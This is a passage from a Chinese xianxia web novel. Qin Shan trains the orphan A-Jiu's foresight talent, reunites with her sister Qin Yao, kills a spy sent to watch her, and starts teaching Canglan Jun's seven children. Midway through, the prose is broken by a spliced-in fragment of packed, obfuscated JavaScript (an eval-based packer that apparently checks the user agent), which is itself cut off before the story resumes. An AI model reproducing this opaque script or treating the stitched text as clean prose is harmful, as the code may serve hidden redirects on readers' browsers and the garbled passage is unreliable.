“想变强就来找人打架?” 少年点点头:“大家都说,魔族要在战斗中成长。我不会打架,所以就多打,打多了就会了。” 秦珊听完,沉默了一会儿,然后说:“你打了一年,变强了吗?” 少年低下头,没说话。 秦珊说:“如果你愿意,可以跟我学。我不教你打架,但我能让你变强。” 少年抬起头,眼睛里满是惊讶和怀疑:“你?你是谁?” 秦珊笑了笑:“我叫秦珊,是个老师。那个是我的徒弟,苍爵。” 她指了指旁边的苍爵。 苍爵礼貌地点点头。 少年看了看苍爵,又看了看秦珊,犹豫了一下,问:“你为什么不教我打架?不会打架怎么变强?” 秦珊说:“打架只是变强的一种方式。你的天赋不适合打架,你有别的路可以走。” 少年愣住了:“天赋?我有什么天赋?” 秦珊说:“你有一个很厉害的天赋,只不过被封印了。我可以帮你解开封印,教你用它。” 少年的眼睛一点点亮起来。他张了张嘴,想说点什么,但又不知道该说什么。 秦珊伸出手:“要不要试试?” 少年看着她的手,犹豫了很久,最后慢慢伸出手,握住了她的手。 “我叫阿九。”他说。 秦珊笑了:“阿九,好名字。从明天开始,你来这个地方找我。” 她指了指那个偏僻的角落。 阿九点点头。 秦珊站起来,拍拍身上的灰,带着苍爵走了。 走出一段距离,苍爵忽然问:“师父,你怎么知道他有天赋?” 秦珊说:“我能看见。” 苍爵愣了一下:“看见?” 秦珊点点头:“这是我的天赋。我能看见很多东西的信息,包括天赋。” 苍爵若有所思地点点头,没再问。 第二天,阿九准时出现在那个偏僻的角落。 他换了身干净的衣服,头发也梳整齐了,看起来精神了不少。虽然还是瘦瘦小小的,但眼神里多了一丝期待。 秦珊让他坐下,开始问话:“阿九,你多大了?” 阿九说:“十六。” “你父母呢?” 阿九低下头:“死了。我很小的时候他们就死了。我是被一个老奶奶养大的,老奶奶去年也死了。” 秦珊沉默了一会儿,说:“那你一个人怎么活?” 阿九说:“干活。我帮人跑腿、搬东西,换点吃的。有时候饿肚子,但饿不死。” 秦珊点点头,没再问。 她拿出神龛,放在地上。阿九好奇地看着那个小木头房子,问:“这是什么?” 秦珊说:“这是我的传承。等会儿我要用它帮你看看你的天赋封印。” 阿九点点头,有些紧张。 秦珊闭上眼睛,把注意力集中在神龛上。这三个月她一直在研究神龛,发现它能做到很多事,包括探查和解除封印。虽然用起来会消耗死亡气息,但值得一试。 她把神龛里的一缕死亡气息引出来,小心翼翼地探入阿九体内。阿九浑身一抖,脸上露出痛苦的表情,但咬着牙没出声。 死亡气息在他体内游走,很快找到了封印的位置。那是一个小小的黑色符文,隐藏在阿九的丹田深处,散发着微弱的光芒。 秦珊仔细观察那个符文,用眼见为识看它: 【封印符文,由金丹期修士设下,封禁天赋混沌预知。解除方法:以魔力冲击符文核心,持续一炷香。】 金丹期修士设下的封印。阿九一个混血种,怎么会得罪金丹期修士? 秦珊没多想,开始按照方法解除封印。她控制着死亡气息,一下一下冲击那个符文的核心。符文微微颤抖,光芒忽明忽暗。 阿九疼得满头大汗,身体抖得像筛糠,但他始终没出声,只是咬着牙硬扛。 一炷香后,符文终于碎裂,化作点点光芒消散。 阿九惨叫一声,晕了过去。 秦珊把他放平,擦了擦他脸上的汗。苍爵在旁边看着,问:“师父,他没事吧?” 秦珊说:“没事,只是疼晕了。等他醒来就好了。” 果然,过了一炁香,阿九慢慢睁开眼睛。 他眨了眨眼,看着秦珊,忽然说:“你刚才会问我那些问题。” 秦珊一愣:“什么?” 阿九说:“你问我多大了,父母呢,怎么活。这些问题,你在问之前我就知道你会问。” 秦珊心里一震:“你预知到了?” 阿九点点头:“模模糊糊的,像是做梦一样。我能看见一点点未来的片段,但看不清,也抓不住。” 秦珊激动得差点跳起来。预知天赋!真的是预知天赋! 她强压下激动,问:“你现在还能看见什么?” 阿九闭上眼睛,过了一会儿,说:“我看见……你很高兴,在笑。” 秦珊笑了。 阿九又说:“我还看见……有一个戴面具的女人,她来找你,她有话跟你说。” 秦珊的笑容僵在脸上。 戴面具的女人?银色面具那个女人? 她问:“什么时候?” 阿九摇摇头:“不知道,没有时间。只是看见一个画面,你们在说话。” 秦珊沉默了一会儿,说:“阿九,你的天赋很厉害,但也很危险。从现在开始,你要跟着我学,学会控制它,用好它。明白吗?” 阿九点点头。 秦珊看着他,心里忽然有些复杂。 她收了第二个徒弟,一个能预知未来的徒弟。这孩子的天赋如果成长起来,绝对是个大杀器。但越是厉害的天赋,越容易招来麻烦。她得小心藏着掖着,不能让任何人知道。 就像她藏着苍爵的互联网一样。 接下来的日子,秦珊开始同时教两个徒弟。 她把时间分成两半,上午教苍爵,下午教阿九。苍爵已经学了大半年,基础扎实,可以自己钻研;阿九刚入门,需要手把手教。 阿九学得很认真,比苍爵当初还认真。他从小没人管,饿过肚子挨过打,知道机会来之不易。秦珊教什么他就学什么,不懂就问,问了就记,记了就背。 秦珊先教他认字。魔界虽然有自己的文字,但大部分魔族都是文盲,全靠血脉传承。阿九认得几个字,是养他的老奶奶教的,但不多。秦珊花了半个月,把常用的几百个字都教给了他。 然后她开始教他怎么感知自己的天赋。预知天赋不是想用就能用的,得先学会进入那种状态,抓住那些模糊的画面。秦珊让他每天冥想,记录自己看到的碎片,哪怕只是一个颜色,一个声音,都要记下来。 阿九很听话,每天冥想,每天记录。一开始什么都记不住,后来慢慢能抓住一点画面,再后来能看清一些简单的场景。 有一天,他忽然对秦珊说:“师父,我看见你今天会给我吃好吃的。” 秦珊愣了一下,然后从怀里掏出两个肉包子,递给他一个,递给苍爵一个。 阿九接过包子,眼睛亮亮的:“真的是好吃的!” 苍爵在旁边看着,忍不住问:“阿九,你看见我了吗?” 阿九看了看他,摇摇头:“看不见你。我只能看见跟师父有关的事,还有我自己有关的事。其他人看不见。” 秦珊若有所思。这个预知天赋可能是有范围的,或者需要某种联系才能触发。她让阿九继续练习,看看能不能扩大范围。 一个月后,阿九的预知能力稳定了不少。他能提前几秒预知到秦珊要说什么,能提前看见秦珊会给他布置什么作业,有一次甚至还提前预知到秦珊会摔跤,及时提醒了她。 秦珊很高兴,但也有些担忧。预知能力太逆天了,如果被有心人知道,阿九会很危险。她叮嘱阿九,不能在任何人面前展示这个能力,包括苍爵。 阿九答应了,他说:“师父,我只告诉你一个人。” 秦珊摸摸他的头,心里暖暖的。 这天下午,秦珊正在教阿九数学,忽然感觉到一阵熟悉的波动。 她抬头一看,不远处的阴影里,站着一个穿暗红色长袍的女人,脸上戴着银色面具。 阿九也看见了,他小声说:“师父,就是她。我那天看见的就是她。” 秦珊站起来,对阿九说:“你待在这儿别动。” 她朝那个女人走过去。 女人没动,静静地看着她。 秦珊走到她面前,停下脚步,问:“你到底是谁?” 女人沉默了一会儿,然后缓缓摘下面具。 面具后面,是一张清秀的脸,眉眼间带着一丝疲惫,还有一丝……熟悉的感觉。 秦珊盯着那张脸,忽然愣住了。 这张脸,她见过。 在原主的记忆里。 原主的姐姐。 原主在修真界的时候,有一个姐姐,叫秦瑶。她们从小一起长大,一起修炼,感情很好。后来原主被清泉道人选中,派到魔界当奸细,姐姐留在修真界。 但是,姐姐怎么会在这里? 秦瑶看着她,嘴角微微上扬,露出一丝苦笑:“妹妹,好久不见。” 秦珊张了张嘴,半天才挤出一句话:“你怎么……” 秦瑶说:“我怎么在这儿?我怎么变成魔族了?我怎么戴着面具跟着你?” 秦珊点点头。 秦瑶叹了口气,说:“说来话长。你被师父派来魔界之后,我就一直担心你。后来我发现师父在你身上种了禁制,而且他根本不打算让你活着回去。他派你来魔界,就是让你送死的。” 秦珊心里一沉。 秦瑶继续说:“我找他理论,他把我关了起来。我逃出来,用了些手段,混进魔界。我想找你,告诉你真相。但我不敢直接露面,怕师父发现,也怕你……怕你已经变成了他想要的样子。” 她看着秦珊,眼神复杂:“我跟着你看了三个月,发现你没有按照师父的吩咐做事。你在认真教那些魔族,你在保护那个叫苍爵的孩子,你在用自己的方式活下去。我很高兴,也很欣慰。” 秦珊沉默了很久。 原来这三个月,一直跟着她的,是原主的姐姐。原来那个“小心”的纸条,是她留的。原来那个帮她查杀手消息的人,是她。 她问:“你怎么变成魔族了?” 秦瑶说:“为了混进来,我散掉了修真界的修为,修炼了魔功。现在,我是真正的魔族了。” 秦珊看着她,心里五味杂陈。 为了找她,姐姐放弃了修真界的身份,变成了魔族。这份情,太重了。 她问:“那你还回去吗?” 秦瑶摇摇头:“回不去了。散功之后,修真界的功法我再也修不了。而且,我也不想回去。那个地方,没什么值得我留恋的。” 她顿了顿,说:“妹妹,我来找你,是想告诉你一件事。” “什么事?” 秦瑶说:“师父已经怀疑你了。他派了新的奸细来魔界,那个人的任务就是监视你,如果你有异动,就除掉你。” 秦珊心里一紧:“新奸细?谁?” 秦瑶说:“我不知道。我只知道他已经来了,混在魔界。你要小心,不要暴露自己。” 秦珊点点头。 秦瑶看着她,忽然伸出手,轻轻摸了摸她的脸:“妹妹,你长大了。” 秦珊愣了一下,然后笑了。 这具身体的姐姐,对她来说只是个陌生人。但这一刻,她忽然觉得,这份亲情是真的。 秦瑶重新戴上面具,说:“我得走了。我不能一直跟着你,容易被发现。但我会在暗处保护你。如果有事,你就在门上贴一张红色的纸条,我会来找你。” 秦珊点点头:“姐,谢谢你。” 秦瑶笑了笑,转身消失在阴影里。 秦珊站在原地,看着她消失的方向,久久没有动。 晚上回到家,秦珊坐在桌前,想了很多事。 原主的姐姐来了,变成了魔族,在暗处保护她。清泉道人派了新奸细,要监视她,随时可能除掉她。魔尊还有四年多就会醒来,那时候才是真正的考验。 她该怎么办? 继续低调,继续教徒弟,继续炼器。该来的总会来,她只能做好准备。 她把阿九叫过来,问:“阿九,你能预见到我最近会有危险吗?” 阿九闭上眼睛,过了一会儿,说:“我看见……有一个陌生人,他在找你。他穿着黑色的衣服,脸上有疤,眼睛很凶。他躲在暗处,看着你。” 秦珊问:“什么时候?” 阿九摇摇头:“不知道,没有时间。” 秦珊点点头,让他回去休息。 黑色衣服,脸上有疤,眼睛很凶。这就是新奸细的样子?她得小心点。 第二天,秦珊照常去上课。她把苍爵和阿九叫到一起,说:“从今天开始,你们两个要一起学。苍爵,你教阿九下棋;阿九,你帮苍爵练习预判。你们互相学习,互相帮助。” 苍爵点点头,阿九也点点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他穿着一身黑衣,脸上有一道长长的疤,从眼角一直延伸到嘴角,看起来很狰狞。他正低着头,在看什么东西。 秦珊用眼见为识看他: 【姓名未知,人族,金丹期修士,身份:修真界奸细。任务:监视秦珊,如有异动则就地格杀。】 金丹期修士。 秦珊心里一沉。她现在的修为只是“初窥门径”,相当于筑基期,跟金丹期差了一个大境界。硬拼肯定打不过。 但她没打算硬拼。 她从怀里掏出神龛,轻轻放在地上。然后她闭上眼睛,开始释放死亡领域。 黑色的雾气从神龛里涌出来,无声无息地弥漫开来,很快笼罩了整个屋子。 屋里那个男人察觉到不对,猛地站起来,抽出一把剑。但雾气已经涌进去,钻进他的口鼻,渗进他的皮肤。 他惨叫一声,倒在地上,拼命挣扎。 秦珊走进屋,站在他面前。 男人看着她,眼睛里满是惊恐:“你……你是秦珊?你敢杀我?清泉道人不会放过你的!” 秦珊蹲下来,平静地说:“他不会知道是你杀的。你只是失踪了,就像很多在魔界失踪的奸细一样。” 男人还想说什么,但雾气越来越浓,他的眼神渐渐涣散,最后不动了。 秦珊站起来,看着那具尸体,沉默了很久。 这是她杀的第二个人。 不,是神龛杀的。但如果没有她,神龛不会杀人。 她深吸一口气,让雾气散去。然后她用神龛吸收了男人残留的死亡气息,算是废物利用。 做完这些,她转身离开,消失在夜色里。 回到家,苍爵和阿九都还没睡,看见她回来,都松了一口气。 苍爵问:“师父,你没事吧?” 秦珊摇摇头:“没事。” 阿九看着她,忽然说:“师父,我看见那个人死了。” 秦珊愣了一下,然后点点头:“嗯,他死了。” 阿九没再问,只是往她身边靠了靠。 苍爵也没问,只是说:“师父,以后有这种事,让我去。” 秦珊笑了笑,摸摸他的头:“你打不过他。” 苍爵说:“打不过也要打。师父不能一个人冒险。” 秦珊心里一暖,说:“好,下次叫你们。” 但她知道,不会有下次了。这种事,她宁愿自己扛。 接下来的日子,又恢复了平静。 那个新奸细的消失,似乎没有引起什么波澜。清泉道人的千纸鹤还是按时来,秦珊还是按时回,一切照旧。 苍爵和阿九的进步都很快。苍爵的互联网范围已经能覆盖大半个沧澜境,能同时链接十个人。阿九的预知能力也越来越稳定,能提前几秒预知到危险,有一次还救了秦珊一命:那天他们走在路上,阿九忽然拉住她,说“别走那边”。话音刚落,一块巨大的石头从山上滚下来,砸在他们本来要走的那条路上。 秦珊惊出一身冷汗,抱着阿九狠狠亲了一口,吓得阿九满脸通红。 银色面具的女人,也就是秦瑶,偶尔会出现。有时候是远远看着,有时候会走近,跟秦珊说几句话。她说她已经找到了住的地方,在城北的一间小屋子里。她说她会继续盯着,如果有危险会及时提醒。 秦珊有时候会想,如果以后真的能活下来,她要把姐姐接过来一起住。她们是姐妹,应该在一起。 这天晚上,秦珊正在屋里炼器,忽然听见敲门声。 她打开门,外面站着一个陌生男人。 那男人穿着考究,气质不凡,看起来像是有身份的人。他看见秦珊,微微点头,说:“秦珊师父?苍澜君有请。” 秦珊一愣。 苍澜君?苍爵的父亲?他找她干什么? 她问:“有什么事吗?” 男人摇摇头:“苍澜君没说,只是让我请您过去。” 秦珊想了想,说:“好,我收拾一下就去。” 她回屋把小光装进怀里,把神龛收好,然后跟着那个男人去了苍澜殿。 苍澜殿还是那么气势恢宏,云雾缭绕。秦珊跟着男人走进大殿,看见苍澜君坐在高台上,旁边还站着几个人。 苍爵也在,看见她来,眼睛亮了亮。 秦珊走上前,行礼:“见过苍澜君。” 苍澜君点点头,示意她起来。 他说:“秦珊,今天叫你来,是有件事想问你。” 秦珊心里一紧,但面上平静:“请说。” 苍澜君看着她,缓缓开口:“这段时间,苍爵的变化我都看在眼里。他从一个只会躲着的废物,变成了现在这个样子。你教得好。” 秦珊说:“苍澜君过奖了,是苍爵自己努力。” 苍澜君摆摆手:“你不用谦虚。我今天叫你来,是想请你……也教教我的其他孩子。” 秦珊愣住了。 其他孩子?苍澜君的那些儿子,那些从小欺负苍爵的兄弟们? 苍澜君看出她的犹豫,说:“我知道苍爵以前被他们欺负过。但那是以前的事。现在他们都长大了,也知道错了。如果你愿意教他们,条件你开。” 秦珊沉默了一会儿,说:“苍澜君,我不是不想教。但我的教学方法跟别的师父不一样,我不教打架,只教脑子。您的孩子们,愿意学吗?” 苍澜君说:“他们愿不愿意,我来决定。你只需要说,教还是不教。” 秦珊看了看苍爵。 苍爵微微点头,眼神里没有反对,甚至有一丝期待。 秦珊想了想,说:“好,我教。但我有三个条件。” “说。” “第一,他们必须尊重苍爵,不能再欺负他。如果让我发现有人欺负他,我立刻走人。” 苍澜君点点头:“可以。” “第二,他们必须认真学,不能三天打鱼两天晒网。我布置的作业,必须按时完成。” 苍澜君又点点头:“可以。” “第三,”秦珊顿了顿,“我要一间专门的教室,安静,宽敞,能容纳十几个人。还有,教学用的材料,需要苍澜君提供。” 苍澜君笑了:“这些都不是问题。你还有什么要求?” 秦珊摇摇头:“暂时就这些。” 苍澜君站起来,走到她面前,说:“秦珊,你很特别。我希望你能把这些孩子教好。他们以后要撑起苍澜家,不能只靠拳头。” 秦珊点头:“我会尽力。” 苍澜君看着她,忽然说:“还有一件事。那个新来的奸细,是你杀的吧?” 秦珊心里一震,但面上没表现出来。 苍澜君笑了笑,说:“别紧张。我不是来问罪的。魔界每天死的人多了,一个奸细而已,死了就死了。我只是想告诉你,有人盯上你了。你自己小心。” 秦珊沉默了一会儿,说:“多谢苍澜君提醒。” 苍澜君摆摆手,示意她可以走了。 秦珊转身离开,心里却翻江倒海。 苍澜君知道她杀了奸细。他知道她是奸细吗?还是只知道她杀了人? 她不敢想。 走出大殿,苍爵追上来,问:“师父,你没事吧?” 秦珊摇摇头:“没事。” 苍爵说:“父亲刚才说的那些话,你别往心里去。他有时候说话就是这样,让人摸不透。” 秦珊点点头,说:“我知道。你回去吧,明天还要上课。” 苍爵嗯了一声,转身走了。 秦珊一个人走在回家的路上,夜风吹着她的脸,凉凉的。 她忽然想起阿九之前预见的那个画面:有一个陌生人,穿着黑衣服,脸上有疤,眼睛很凶,躲在暗处看着她。 那个人已经死了。 但新的危险,又来了。 苍澜君那句话是什么意思?是警告,还是试探? 她不知道。 但她知道,她必须变得更强大,强大到能保护自己,保护苍爵,保护阿九,保护姐姐。 她摸了摸怀里的神龛,加快了脚步。 6. 第6章新学生 三天后,秦珊见到了她的新学生们。 苍澜君说话算话,给她准备了一间专门的教室。那是一座独立的小院子,离演武场不远,闹中取静。院子里有正屋三间,左右厢房各两间,足够容纳十几个人。正屋被改造成了教室,摆着十几张矮几,每个矮几上都准备了笔墨纸砚。 秦珊站在院子里,看着那些鱼贯而入的年轻人,心里有些复杂。 一共七个。苍澜君的儿子们。 她本以为会看到一群趾高气昂的恶霸,但实际上,这些年轻人看起来都很规矩,甚至有些拘谨。他们进来之后自动排成一排,齐刷刷地向秦珊行礼:“见过师父。” 秦珊愣了一下,然后点点头:“坐吧。” 七个年轻人各自找位置坐下,坐姿端正,目不斜视。 秦珊看了看站在旁边的苍爵,小声问:“你兄弟们都这样?” 苍爵也小声回答:“在父亲面前他们不敢乱来。” 秦珊明白了。这是苍澜君的面子,不是她的面子。等苍澜君走了,这些人才会露出真面目。 果然,苍澜君从后面走出来,扫了一眼在座的七个儿子,沉声说:“从今天开始,秦珊就是你们的师父。她的话就是我的话,谁敢不听,自己领罚。” 七个儿子齐声应道:“是!” 苍澜君看向秦珊,微微点头:“交给你了。” 说完,他转身离开。 院子里安静下来。 秦珊看着那七个年轻人,他们也看着她。空气里有一股微妙的张力。 她清了清嗓子,说:“先自我介绍一下。我叫秦珊,是你们的新师父。我不教打架,只教脑子。你们愿意学就留下,不愿意学现在可以走。” 没人动。 秦珊点点头:“好,既然都不走,那就开始上课。第一个问题,你们为什么来?” 沉默了一会儿,坐在最前面的一个年轻人开口了。他长得跟苍爵有几分相似,但眼神更锐利,气势更盛。他说:“父亲让我们来的。” 秦珊问:“那你自己的想法呢?” 年轻人说:“我没想法。父亲让来就来。” 秦珊看着他,用眼见为识扫了一下: 【苍烈,龙族,金丹后期,苍澜君长子。天赋:龙威压制,战斗狂热者。当前状态:不服,但不敢反抗。】 秦珊笑了笑,说:“苍烈是吧?你觉得自己很能打?” 苍烈一愣,然后点头:“是。” 秦珊说:“那你觉得,能打有什么用?” 苍烈说:“能打赢敌人。” 秦珊问:“打赢了之后呢?” 苍烈又是一愣,显然没想过这个问题。 秦珊继续说:“你打赢了,敌人跑了。下次他带更多的人来,你再打赢,他又跑了。你一直赢,他一直跑。然后呢?你能一直打下去吗?你能把所有人都打光吗?” 苍烈张了张嘴,答不上来。 旁边另一个年轻人开口了,声音有些尖细:“师父,你说这些有什么用?魔族不打架还能干什么?” 秦珊看向他: 【苍羽,龙族,金丹中期,苍澜君三子。天赋:速度强化,擅长偷袭。性格:急躁,嘴快。】 秦珊说:“你叫什么?” “苍羽。” 秦珊说:“苍羽,你觉得魔族只能打架?” 苍羽说:“难道不是吗?从小到大,我们学的就是怎么打架。” 秦珊摇摇头:“那是因为你们没学过别的。从现在开始,你们要学的就是别的。” 她从怀里掏出一张纸,上面是她昨晚熬夜写的课程表。她把课程表贴在墙上,说:“这是你们以后要学的内容。” 七个脑袋凑过去看,然后同时露出迷茫的表情。 “围棋?那是什么?” “兵法?打仗用的?” “心理学?什么东西?” “统计学?没听过。” 秦珊等他们议论完了,才说:“这些东西,你们现在不懂,以后会懂。现在,每个人做自我介绍,说名字,说年龄,说自己的天赋,说一个自己最得意的事。” 七个人面面相觑,最后还是苍烈先开口。 “苍烈,二十七岁,天赋龙威压制。最得意的事,去年单挑打赢了黑蛟族的一个长老。” 接下来是老二苍擎,二十五岁,天赋力量爆发,最得意的事是在角斗场连胜三十场。 老三苍羽,二十三岁,天赋速度强化,最得意的事是追杀一个仇家追了三天三夜,最后把他活活累死。 老四苍云,二十一岁,天赋迷雾化身,最得意的事是潜入敌营偷了对方主帅的兵器。 老五苍雷,十九岁,天赋雷电掌控,最得意的事是一道雷劈死了三个偷袭的刺客。 老六苍风,十八岁,天赋风刃,最得意的事是跟哥哥们打架的时候赢过一次。 老七苍月,十七岁,唯一的女孩,天赋月华之力,最得意的事是……她想了想,说:“我最得意的事,是小时候苍爵哥哥给我摘过果子吃。” 所有人都愣住了,包括苍爵。 秦珊看向苍爵,苍爵的脸腾地红了。 苍烈皱着眉头说:“七妹,你记错了吧?苍爵那个废物……那个,他什么时候给你摘过果子?” 苍月认真地说:“没有记错。我五岁那年,偷偷跑出去玩,爬到树上摘果子下不来,是苍爵哥哥把我抱下来的。他还给我摘了好多果子,让我别告诉别人。” 苍烈的表情变得很古怪。他看了看苍爵,又看了看苍月,最后没说话。 秦珊把这些都看在眼里,心里有了数。 自我介绍完毕,她说:“好,现在你们互相认识完了。接下来,我要问你们一个问题:你们觉得,苍爵是个什么样的人?” 又是一阵沉默。 苍烈犹豫了一下,说:“他……以前很弱,不会打架。” 苍羽说:“他总是一个人躲着,不爱说话。” 苍雷说:“他的天赋很没用,只能聊天。” 苍月小声说:“可是苍爵哥哥人很好。” 秦珊点点头,说:“你们说的都对,也都不对。苍爵确实不会打架,但他不是废物。他的天赋不是没用,而是你们不懂怎么用。” 她顿了顿,说:“你们知道吗?苍爵现在能做到一件事,是你们七个加起来都做不到的。” 苍烈不信:“什么事?” 秦珊说:“他能同时在十个人脑子里说话,能在五十里外传递消息,能感知到周围所有人的位置和状态。你们谁能?” 七个人面面相觑,说不出话。 苍羽说:“师父,你说的是真的?” 秦珊看向苍爵:“给他们演示一下。” 苍爵点点头,闭上眼睛。片刻后,苍烈忽然浑身一震,说:“谁?谁在我脑子里说话?” 苍羽也说:“我听见了,是苍爵的声音!” 苍云说:“他说让我们别动。” 苍雷说:“他还说他在五十里外也能这样。” 苍月兴奋地抓住苍爵的胳膊:“苍爵哥哥,你真的好厉害!” 苍爵的脸更红了,手足无措地站在那里。 秦珊看着那七个目瞪口呆的年轻人,说:“现在你们明白了吗?不会打架,不代表没用。苍爵的天赋,如果用好,能比你们七个加起来都有用。这就是我教的东西。” 七个人沉默了很久。 最后苍烈开口了,他的声音低沉,带着一丝复杂的情绪:“师父,我们以前……对苍爵不好。” 秦珊说:“我知道。” 苍烈说:“我们能补偿他吗?” 秦珊看了看苍爵。 苍爵低着头,沉默了一会儿,然后抬起头说:“不用补偿。以前的事,我忘了。” 苍烈看着他,张了张嘴,最后只是点点头。 秦珊说:“行了,过去的事就过去了。从今天开始,你们是同学,要互相帮助。谁再欺负人,我不管你是谁的儿子,直接滚蛋。” 七个人齐声应道:“是!” 第一天的课上完,秦珊累得够呛。 七个学生,七个不同的性格,七个不同的天赋。她得一个个摸清楚,才能因材施教。 苍烈好战,但脑子不笨,可以往统帅方向培养。苍擎莽撞,但执行力强,适合当先锋。苍羽嘴快,但心思活络,可以搞情报。苍云擅长隐匿,适合侦察。苍雷脾气爆,但雷电天赋杀伤力强,得教他控制。苍风性子急,但天赋适合远程打击,得练准头。苍月年纪小,心性单纯,但月华之力很特殊,可以往辅助方向发展。 秦珊把这些记在本子上,准备以后慢慢琢磨。 晚上回到家,小光扑过来,绕着她飞了两圈,落在她肩膀上。秦珊摸了摸它,从袋子里掏出两颗魔力结晶喂给它。 阿九已经在屋里等着了,看见她回来,问:“师父,今天怎么样?” 秦珊说:“还行。七个新学生,都挺能打的。” 阿九点点头,忽然说:“师父,我看见了一些东西。” 秦珊心里一紧:“什么?” 阿九说:“我看见教室里,有一个人,他很生气。他手里拿着刀,想杀你。但是有人拦住了他。” 秦珊皱起眉头:“什么时候?谁?” 阿九摇摇头:“不知道。只能看见一点画面。” 秦珊沉默了一会儿,说:“你继续看着,如果有新的画面,立刻告诉我。” 阿九点点头。 秦珊躺在床上,看着天花板,想了很久。 七个新学生里,有人想杀她?是谁?为什么? 苍烈?不太可能,他虽然不服,但不是背后下刀的人。苍羽?嘴快但没那个胆子。苍雷?脾气爆但直来直去。苍月?更不可能。 那会是谁? 她想了半天没头绪,最后决定先不想了。该来的总会来,她做好准备就行。 接下来的日子,秦珊忙得脚不沾地。 上午教苍爵和阿九,下午教那七个新学生。晚上备课,写教案,炼器,喂小光。一天下来,累得倒头就睡。 但忙归忙,效果是有的。 七个新学生从一开始的迷茫和不屑,慢慢变得认真起来。秦珊从最简单的围棋开始教,让他们在棋盘上体会什么是布局,什么是取舍。一开始他们都觉得这玩意儿幼稚,但下过几盘之后,态度就变了。 苍烈是第一个上瘾的。他天生好战,棋风也猛,喜欢开局就猛攻。秦珊让他攻,然后趁他后方空虚一举围杀。苍烈输了几次,开始学着留后手,学着防守反击。一个月后,他已经能跟秦珊下得有来有回。 苍羽喜欢偷奸耍滑,下棋的时候总想搞小动作。秦珊让他搞,然后抓住他的破绽反杀。几次之后,苍羽学会了一个道理:小聪明只能赢一时,赢不了一世。 苍雷性子急,下棋也急,经常不思考就落子。秦珊让他输,输多了他慢慢学会冷静,学会多想几步。 苍云心思细,适合布局,秦珊就多教他一些复杂的变化。苍风学得快,但记性差,秦珊让他多复盘。苍月年纪小,学得慢,但认真,秦珊就多花时间陪她练。 老二苍擎是最让秦珊头疼的。他脑子不笨,但就是不爱动,能不动脑子就绝不动。下棋的时候,他总是凭感觉走,输了也不总结,下一盘还是老样子。 秦珊试过很多方法,讲道理,举例子,甚至骂过几次,都没用。后来她换了个思路,不逼他动脑子,而是让他动手。她让苍擎去演武场观察那些魔族的战斗,然后回来写报告。苍擎一开始不乐意,但写了几次之后,发现这玩意儿挺有意思,能看出来以前注意不到的东西。慢慢的,他开始主动思考了。 两个月下来,七个新学生都有了明显的进步。苍澜君来看过一次,看完之后什么都没说,只是点了点头。但秦珊从他眼神里看出了一丝满意。 这天下午,秦珊正在教苍烈下棋,忽然听见外面传来一阵喧哗。 她皱起眉头,站起来走出去。 院子里,苍羽和苍雷正在吵架,声音很大,脸都红了。 “你凭什么拿我的东西?”苍羽指着苍雷的鼻子骂。 “谁拿你东西了?那是我的!”苍雷也不示弱。 “放屁!那是我娘留给我的!” “你娘?你娘早死了,那东西是我捡的!” 两人越吵越凶,眼看就要动手。 秦珊走过去,沉声说:“吵什么?” 两人看见她,稍微收敛了一点,但还是互相瞪着眼。 秦珊问:“什么东西?” 苍羽从怀里掏出一块玉佩,说:“这是我从家里带来的,一直放在桌上。今天不见了,我在他屋里找到了!” 苍雷说:“这是我捡的!我在院子里捡的!” 秦珊看着那块玉佩,用眼见为识扫了一下: 【苍羽的玉佩,普通饰物,对苍羽有特殊意义。被人从苍羽房中取出,故意放在苍雷常经过的地方。】 故意放在苍雷常经过的地方?有人陷害? 秦珊抬起头,扫了一眼院子里的几个人。苍烈站在门口,皱着眉看这边。苍云靠在墙边,面无表情。苍风在旁边看热闹。苍月躲在角落里,有些害怕。 她看不出是谁干的。 秦珊说:“玉佩给我。” 苍羽犹豫了一下,还是递给她。 秦珊拿着玉佩,说:“这东西不是苍雷拿的,是有人故意放在那里陷害他。” 苍羽一愣:“谁?” 秦珊说:“我不知道。但这个人就在你们中间。” 院子里安静下来。 苍羽看看苍雷,又看看其他人,眼神变得复杂。 苍雷松了口气,但随即又皱起眉头:“谁他娘的害我?” 秦珊说:“这个问题,你自己想。你不是学了观察分析吗?用用脑子。” 苍雷愣了一下,然后低下头开始想。 秦珊看向苍羽:“你也想。你最近得罪谁了?谁有机会进你屋?” 苍羽也开始想。 秦珊走到苍云旁边,小声说:“你觉得是谁?” 苍云看了她一眼,说:“师父,我不知道。” 秦珊说:“你看见什么了?” 苍云沉默了一会儿,说:“我看见苍风早上在苍羽门口转悠。” 秦珊看向苍风。苍风正站在角落里看热闹,一副事不关己的样子。 她走过去,问:“苍风,你早上在苍羽门口干什么?” 苍风一愣,脸色变了变,然后说:“我……我路过。” 秦珊说:“路过?你住的地方在东边,苍羽在西边,你路过什么?” 苍风张了张嘴,说不出话。 秦珊盯着他:“说实话。” 苍风低下头,沉默了很久,然后小声说:“是我放的。” 所有人都愣住了。 苍羽冲过去一把揪住他的衣领:“你为什么要害我?” 苍风不说话,只是低着头。 秦珊把苍羽拉开,说:“让他说。” 苍风抬起头,眼睛红红的,说:“因为……因为你们都不理我。” 他指着苍烈苍羽苍雷他们:“你们是大哥二哥三哥四哥,你们是一起的。我是老六,我最小,你们从来不带着我玩。苍月是妹妹,你们疼她。我呢?我什么都没有!” 他越说越激动:“我就是想让你们吵架,让你们打起来,让你们也难受!” 院子里一片死寂。 苍烈走过来,看着他,沉默了很久,然后说:“老六,你想跟我们玩,为什么不直接说?” 苍风说:“我说了,你们理我吗?” 苍烈说:“你不说,怎么知道我们不理你?” 苍风低下头,不说话。 苍烈叹了口气,伸手揉了揉他的脑袋:“行了,别哭了。以后想玩就来找我们。” 苍风抬起头,眼泪还挂在脸上,但眼神里多了一丝光亮。 秦珊在旁边看着,心里有些感慨。 这群孩子,说是兄弟,其实比陌生人还陌生。从小到大,他们只知道打架,只知道争宠,从来没有真正沟通过。 她走到苍风面前,说:“你这次做错了事,该罚。” 苍风点点头。 秦珊说:“罚你写一篇检讨,五百字,写清楚你为什么错,以后怎么做。明天交给我。” 苍风愣了一下:“检讨是什么?” 秦珊说 